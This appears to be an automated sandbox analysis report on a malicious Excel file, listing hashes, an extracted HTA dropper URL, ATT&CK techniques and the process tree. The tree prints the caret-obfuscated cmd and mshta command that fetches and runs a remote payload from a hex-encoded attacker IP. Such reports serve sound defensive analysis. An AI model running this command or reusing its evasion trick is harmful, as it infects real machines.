02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 00:27

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General

Target

02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb.xls
Size

107KB
MD5

fd86ecc9240f42bf24010b822344b210
SHA1

390dd835d292fff13d2ade930c4704c242846ec4
SHA256

02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb
SHA512

cade3602a81a1d7a50851eb70e422b16aba28bd1cc5868668e3a98c4653288b71a21a0ba8ac8cf0a878ed562c3907d73bf2f70b2c25de679839dc31865743adc
SSDEEP

3072:+C+nBqmxk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIFxe53lGvFTQ3IzxgdrvxpU0O:R+nBqmxk3hbdlylKsgqopeJBWhZFVE+s

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe4.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2704	2828	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2884	mshta.exe
5	2884	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2828	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2828	EXCEL.EXE
2828	EXCEL.EXE
2828	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 2704	2828	EXCEL.EXE	30
PID 2828 wrote to memory of 2704	2828	EXCEL.EXE	30
PID 2828 wrote to memory of 2704	2828	EXCEL.EXE	30
PID 2828 wrote to memory of 2704	2828	EXCEL.EXE	30
PID 2704 wrote to memory of 2884	2704	cmd.exe	32
PID 2704 wrote to memory of 2884	2704	cmd.exe	32
PID 2704 wrote to memory of 2884	2704	cmd.exe	32
PID 2704 wrote to memory of 2884	2704	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\02db686e0df1d12f25da7e841b48d47d6cdcd52e4c7f68b48155265b19020ebb.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe4.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2828-1-0x00000000720DD000-0x00000000720E8000-memory.dmp

Filesize
44KB

Download
memory/2828-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2828-2-0x00000000720DD000-0x00000000720E8000-memory.dmp

Filesize
44KB

Download